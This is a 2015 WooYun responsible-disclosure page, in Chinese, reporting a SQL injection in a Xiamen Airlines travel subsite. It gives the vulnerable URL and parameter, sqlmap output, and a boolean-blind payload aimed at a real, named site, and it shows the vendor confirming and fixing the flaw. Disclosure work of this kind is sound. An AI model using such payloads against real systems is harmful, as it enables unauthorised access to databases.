当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0123775

漏洞标题:厦门航空某分站存在Oracle的SQL注入

相关厂商:xiamenair.com

漏洞作者: Watermelon

提交时间:2015-06-30 18:52

修复时间:2015-08-15 11:08

公开时间:2015-08-15 11:08

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-30: 细节已通知厂商并且等待厂商处理中
2015-07-01: 厂商已经确认,细节仅向厂商公开
2015-07-11: 细节向核心白帽子及相关领域专家公开
2015-07-21: 细节向普通白帽子公开
2015-07-31: 细节向实习白帽子公开
2015-08-15: 细节向公众公开

简要描述:

厦门航空某分站存在sql注入 注入 ~~

详细说明:

注入点:
http://travel.xiamenair.com/Travel/Domestic.html?start=%7Cundefined&end=%25u53A6%25u95E8%7CXMN
[18:46:22] [INFO] resuming back-end DBMS 'oracle'
[18:46:22] [INFO] testing connection to the target URL
[18:46:23] [CRITICAL] heuristics detected that the target is protected by some k
ind of WAF/IPS/IDS
do you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N]
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: end (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: start=|undefined&end=%u53A6%u95E8|XMN' AND 8525=8525 AND 'AmfS'='Am
fS
---
[18:46:30] [INFO] the back-end DBMS is Oracle
web server operating system: Windows
web application technology: ASP.NET, ASP.NET 4.0.30319
back-end DBMS: Oracle
[18:46:30] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 1 times
[18:46:30] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\travel.xiamenair.com'
[*] shutting down at 18:46:30

漏洞证明:

捕获.PNG


大概就是这样。

修复方案:

修复咯~

版权声明:转载请注明来源 Watermelon@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2015-07-01 11:06

厂商回复:

已确认,感谢对厦门航空信息安全工作的支持

最新状态:

2015-08-14:已修复


漏洞评价:

评论

  1. 2015-07-01 14:18 | hh2014 ( 普通白帽子 | Rank:225 漏洞数:39 | 继续)